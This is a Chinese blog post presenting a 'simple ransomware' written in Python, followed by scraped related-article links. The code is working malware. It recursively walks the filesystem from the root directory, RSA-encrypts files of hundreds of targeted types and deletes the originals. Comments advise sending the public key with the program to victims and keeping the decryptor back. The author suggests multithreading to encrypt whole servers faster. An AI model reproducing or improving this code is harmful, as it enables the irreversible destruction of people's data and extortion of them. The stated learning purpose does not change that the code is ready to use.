一、勒索病毒

简单来说,勒索病毒就是通过加密受害者电脑的本地数据,向受害者勒索赎金的恶意软件。加密勒索软件的核心是加密算法,我自己实现的勒索病毒使用的就是安全度高破解难度大的RSA加密算法。RSA是一种非对称公钥加密算法,依赖于大质数分解难题,通过公钥无法轻易破解私钥。此demo的核心思想就是在攻击者本地生成RSA公私钥,并把私钥保存起来,使用公钥加密受害者电脑上的数据。废话不多说,直接上代码。

二、Python简易勒索病毒

import base64
import os.pathimport rsa#生产1024位公私钥并保存为.pem  先在本地生成,将生成的公钥和加密程序一起打包发送到受害者即可
# pub, priv = rsa.newkeys(1024)
#
# pub = pub.save_pkcs1()
# with open(f"./keys/pubkey.pem", mode="wb") as file:
#     file.write(pub)
#
# priv = priv.save_pkcs1()
# with open(f"./keys/privkey.pem", mode="wb") as file:
#     file.write(priv)#预定义想要加密的文件后缀名,可以自己选择
target_list_str = ".txt  .exe  .php  .pl  .7z  .rar  .m4a  .wma  .avi  .wmv  .csv  .d3dbsp  .sc2save  .sie  .sum  " \".ibank  .t13  .t12  .qdf  .gdb  .tax  .pkpass  .bc6  .bc7  .bkp  .qic  .bkf  .sidn  .sidd  .mddata " \" .itl  .itdb  .icxs  .hvpl  .hplg  .hkdb  .mdbackup  .syncdb  .gho  .cas  .svg  .map  .wmo  .itm  " \".sb  .fos  .mcgame  .vdf  .ztmp  .sis  .sid  .ncf  .menu  .layout  .dmp  .blob  .esm  .vtf  " \".dazip  .fpk  .mlx  .kf  .iwd  .vpk  .tor  .psk  .rim  .w3x  .fsh  .ntl  .arch00  .lvl  .snx  .cfr " \" .ff  .vpp_pc  .lrf  .m2  .mcmeta  .vfs0  .mpqge  .kdb  .db0  .mp3  .upx  .rofl  .hkx  .bar  .upk  " \".das  .iwi  .litemod  .asset  .forge  .ltx  .bsa  .apk  .re4  .sav  .lbf  .slm  .bik  .epk  " \".rgss3a  .pak  .big  .unity3d  .wotreplay  .xxx  .desc  .py  .m3u  .flv  .js  .css  .rb  .png  " \".jpeg  .p7c  .p7b  .p12  .pfx  .pem  .crt  .cer  .der  .x3f  .srw  .pef  .ptx  .r3d  .rw2  .rwl  " \".raw  .raf  .orf  .nrw  .mrwref  .mef  .erf  .kdc  .dcr  .cr2  .crw  .bay  .sr2  .srf  .arw  .3fr  " \".dng  .jpeg  .jpg  .cdr  .indd  .ai  .eps  .pdf  .pdd  .psd  .dbfv  .mdf  .wb2  .rtf  .wpd  .dxg  " \".xf  .dwg  .pst  .accdb  .mdb  .pptm  .pptx  .ppt  .xlk  .xlsb  .xlsm  .xlsx  .xls  .wps  .docm  " \".docx  .doc  .odb  .odc  .odm  .odp  .ods  .odt  .sql  .zip  .tar  .tar.gz  .tgz  .biz  .ocx  " \".html  .htm  .3gp  .srt  .cpp  .mid  .mkv  .mov  .asf  .mpeg  .vob  .mpg  .fla  .swf  .wav  .qcow2 " \" .vdi  .vmdk  .vmx  .gpg  .aes  .ARC  .PAQ  .tar.bz2  .tbk  .bak  .djv  .djvu  .bmp  .cgm  .tif  " \".tiff  .NEF  .cmd  .class  .jar  .java  .asp  .brd  .sch  .dch  .dip  .vbs  .asm  .pas  .ldf  .ibd " \" .MYI  .MYD  .frm  .dbf  .SQLITEDB  .SQLITE3  .asc  .lay6  .lay  .ms11  .sldm  " \".sldx  .ppsm  .ppsx  .ppam  .docb  .mml  .sxm  .otg  .slk  .xlw  .xlt  .xlm  .xlc  .dif  .stc  " \".sxc  .ots  .ods  .hwp  .dotm  .dotx .docm  .DOT  .max  .xml  .uot  .stw  .sxw  .ott  .csr  .key  " \# 加密过程
def rsa_encrypt(filename):if filename.split(".")[-1] in target_list:with open("./pubkey.pem") as file:  #加载RSA公钥,准备加密pub = file.read()pub = rsa.PublicKey.load_pkcs1(pub)with open(filename, mode='rb') as file:data = file.read()# 删除原始文件os.remove(filename)res = []for i in range(0, len(data), 117):res.append(rsa.encrypt(data[i:i + 117], pub))byte_data = b''.join(res)byte_data = base64.b64encode(byte_data).decode()filename = filename + ".enc" #加密后的文件后缀名改为.encwith open(filename, mode='w') as file:file.write(byte_data)def encrypt(file_path):if os.path.isdir(file_path):file_names = os.listdir(file_path)for file_name in file_names:file_name = os.path.join(file_path, file_name)if os.path.isdir(file_name):encrypt(file_name)else:rsa_encrypt(file_name)else:rsa_encrypt(file_path)# 解密过程,当然如果当为攻击程序肯定不能发送到被害者服务器,此处是为了防止误操作将自己文件加密后的还原(或者确保受害者无法浏览到此代码也可一起发送)def rsa_decrypt(file_name):if file_name.split(".")[-2] in target_list:with open("./privkey.pem", mode="rb") as file:priv = file.read()priv = rsa.PrivateKey.load_pkcs1(priv)with open(file_name, mode='r') as file:data = file.read()data = base64.b64decode(data.encode())res = []for i in range(0, len(data), 128):temp_plaintext = rsa.decrypt(data[i:i + 128], priv)res.append(temp_plaintext)last = b''.join(res)#删除加密文件os.remove(file_name)with open(file_name.replace(".enc", ""), mode='wb') as file:file.write(last)def decrypt(file_path):if os.path.isdir(file_path):file_names = os.listdir(file_path)for file_name in file_names:file_name = os.path.join(file_path, file_name)if os.path.isdir(file_name):decrypt(file_name)else:rsa_decrypt(file_name)else:rsa_decrypt(file_path)if __name__ == "__main__":target_list = []for i in target_list_str.split("."):target_list.append(i.strip())encrypt("/") #此处自定义想要加密的目录名称,我这里写成了linux下的根目录#decrypt("/")#解密加密后的文件

 三、总结

此代码若加密单独文件夹下的文件或者加密少量文件效率还可以,但是如果加密整个大的服务器系统可能会导致卡死。我觉得解决办法可以是使用多线程,python中的threading进行多线程加密。同时可能存在当前用户权限不够导致文件无法加密的情况,这个问题目前还没想到解决办法,以后有时间再来研究一下。但此demo加密一些普通文件夹还是没有问题的,主要是了解一下勒索病毒的原理以及一些常用的加密算法。欢迎各路大佬留下评论交流!

Python实现简易勒索病毒相关推荐

  1. Python 技术篇-解决转化后的exe程序被360误杀问题实例演示,python生成的exe被360识别为勒索病毒原因及解决方法

    我用 python 做了两个功能相似的程序,A 程序没问题,B 程序有问题,被 360 误杀,对比后发现 B 程序引用了 os 库,替换成了别的库实现 os 库的功能,新的程序不再有问题.罪魁祸首就是 ...

  2. python模拟勒索病毒

    python模拟勒索病毒 勒索病毒原理 [定义及传播]勒索病毒,是一种新型电脑病毒,主要以邮件.程序木马.网页挂马的形式进行传播.关于勒索病毒,最通俗易懂的理解就是,黑客通过攻击你的系统,把你的重要文 ...

  3. Python实现简单的勒索病毒

    python实现勒索病毒 勒索病毒一种:将文件以base64字符串形式读取,然后对字符串进行加密(加密方式任取 只要可以解密即可) 问题:怎么在目标主机运行勒索病毒? 首先可以理由文件上传.远程代码执 ...

  4. python 勒索病毒 源码_python生成的exe被360识别为勒索病毒原因及解决方法

    代码如下,使用了 os 库遍历文件夹,还有判断指定路径是文件还是文件夹.换成了 pathlib 库来实现我需要的功能,问题解决. import os def adjust_os(path): ''' ...

  5. [网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了Vulnhub靶机渗透的DC-1题目,通过信息收集.CMS漏洞搜索.D ...

  6. 快学习使用Linux吧,避免勒索病毒大肆入侵

    2019独角兽企业重金招聘Python工程师标准>>> 从昨晚开始,比特币勒索病毒 Wanna Decryptor / WannaCry 陆续在全球各地大规模爆发.先是情况最糟的英国 ...

  7. 国内首个比特币勒索病毒制作者落网,但过程有点好笑...

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 来源:扩展迷EXTFANS 所谓比特币勒索病毒,就是某一 ...

  8. 国内勒索病毒疫情严重 每天十多万台电脑被感染

    2019独角兽企业重金招聘Python工程师标准>>> 4月10日消息,国内安全团队近日发出安全警报,报告称国内勒索病毒疫情非常严峻,政府.企业和个人用户都在被攻击之列,而系统漏洞是 ...

  9. 实战 | 对抗外部威胁防护和勒索病毒,大厂怎么做?

    作者 | 杨秀璋,责编 | 夕颜 来源 | CSDN博客 头图 | CSDN付费下载自视觉中国 这篇文章作者将分享来自深信服老师的<外部威胁防护和勒索病毒对抗>,带领大家看看知名安全厂商的 ...

最新文章

  1. Java学习笔记——局部变量和成员变量
  2. redis的安装及springDataRedis
  3. 【转载】生物软件之DNA分析
  4. SSM框架的搭建学习(1)---MyBatis的环境搭建
  5. 牛客网SQL篇刷题篇(24-31)
  6. 研究一下识别验证码,。。。随笔记录
  7. 全套安全从业人员必备工具(建议大家收藏这个帖子)
  8. Java基础提高学习笔记1
  9. 可变参数宏__VA_ARGS__和...
  10. Kettle Carte模式
  11. 又一重磅利好,海南撒10亿基金发展区块链技术
  12. router路由传参 - props
  13. python杨辉三角居中_利用python打印杨辉三角
  14. Unity帧同步和状态同步
  15. [算法设计题] 双栈结构
  16. UVa:10074 Take the Land
  17. 鲈鱼优化算法(Matlab代码实现)
  18. 电脑上的文件删除不掉,需要管理员权限怎么办?
  19. javaScript-工具库
  20. SP348 EXPEDI - Expedition

热门文章

  1. android 定时发送短信实现
  2. 旅行世界显示服务器繁忙,旅行世界用户暴增,合成游戏哪个好?
  3. RBW VBW-解析带宽与视频带宽(转)
  4. c语言rang()函数,通达信range函数的用法
  5. matlab 2014B ,simulink-simscape 创建 物理 倒立摆-动画-pid 控制 傻瓜教程-100%学会
  6. 浅谈电商核心「订单」业务如何设计
  7. 自学AE AK大神笔记008_模糊的文字标题
  8. 如何将window10word转换成pdf
  9. 如何实现Thinkphp的日志写入
  10. Kubernetes集群kubectl命令的常见使用方法